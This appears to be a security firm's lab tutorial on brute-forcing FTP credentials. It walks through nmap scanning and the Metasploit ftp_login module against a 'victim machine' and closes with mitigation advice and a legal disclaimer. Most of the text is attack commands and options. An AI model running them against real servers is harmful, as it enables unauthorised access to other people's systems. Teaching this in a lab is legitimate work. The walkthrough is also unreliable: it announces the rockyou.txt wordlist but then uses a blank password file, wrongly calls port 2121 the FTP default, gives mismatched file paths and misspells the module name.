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FTP brute force 
Introduction 
There are multiple types and forms of cyber attacks and exploits used today; many exploit the 
vulnerabilities discovered in the code and some attack the vulnerabilities that people introduce into 
an IT system. Trying to break or guess passwords has, and will continue to be, been an attack method 
used for many years. Brute forcing passwords uses a file that has a very long list of words collected 
over many years and can include the passwords of previous breaches involving people’s real 
passwords. A brute force attack uses one of these wordlists and attempts different combinations 
against a service until it manages to log in to it using the correct username and password. This is 
primary reason why complex and long passwords are recommended so as to mitigate the threat of a 
brute force password attack.  

In this attack we are going to brute force the FTP service password. There are different wordlists to 
brute force this service and we are going to use the ‘rockyou.txt’ wordlist. This is an extensive wordlist 
(Please be advised there are words in this list that can cause offense) that was released when the 
social media application developer RockYou was hacked and their database of usernames and 
passwords were exposed. File Transfer Protocol (FTP) is a streamlined service that was created to 
move files quickly, it can be exploited in a range of ways and some versions of the FTP service are 
more vulnerable than others. This attack will use the rockyou.txt wordlist to brute force the FTP service 
running on the victim machine.  

Walkthrough 

Step 1: Make sure your Kali image is up to date using apt-get update, apt-get upgrade and if 
required apt-get full-upgrade; 

Step 2: Discover the IP address of the victim machine (use nmap, netdiscover etc to find this 
machine); 

Step 3: Open a terminal; 

Step 4: Perform a detailed nmap scan on the victim machine (nmap -sS -Pn -sC -A <target IP 
address>) – This nmap scan can take a while, it’s pretty detailed!; 

Step 5: You need to find port 2121 that is the default port for FTP; 

Step 6: In the console type touch /usr/share/wordlists/blank.txt; 

Step 7: Type msfconsole; 
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Step 8: Type search ftp; 

Step 9: Type use auxillary/scanner/ftp/ftp_login and hit Enter; 

 

Step 10: Type show options; 

 

Step 11: Type set PASS_FILE /usr/share/wordlists/Metasploit/blank.txt; 

 

Step 12: Type set USER_FILE /usr/share/wordlists/Metasploit/unix_users.txt; 

 

Step 13: Type set RHOSTS <target IP>; 

Step 14: Type set USER_AS_PASS true; 
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 Type set RPORT 2121: 

Step 15: Type run; 

Step 16: This attack can take up to 30 mins to run, depending on the quality of the hardware you 
are using; 

 

Step 17: Luckily the login details for the FTP service were the same, user:user was the revealed 
username and password; 

 

Conclusion 
FTP is a protocol that was designed to enable file sharing between machines. This simple attack 
demonstrates how a brute force attack works. A list of potential usernames and passwords is “thrown” 
against a service like FTP and the exploit is waiting for a positive response from the FTP service running 
on the target machine. Once a positive response has been detected it prints that out to the screen 
and we have specified that the exploit should continue until it has exhausted all the words in the list 
just in case there were additional usernames and logins that could allow us to access this service. The 
quickest way to prevent this type of attack is to have a login limit where it will prevent additional login 
attempts for a certain amount of time or blacklist that IP address.  

Disclaimer 
Any actions and or activities related to the material contained within this Website is solely your 
responsibility. The misuse of the information in this website can result in criminal charges brought 
against the persons in question. Cyber Security Associates Limited will not be held responsible for any 
criminal charges brought against any individuals misusing the information in these projects to break 
the law.     
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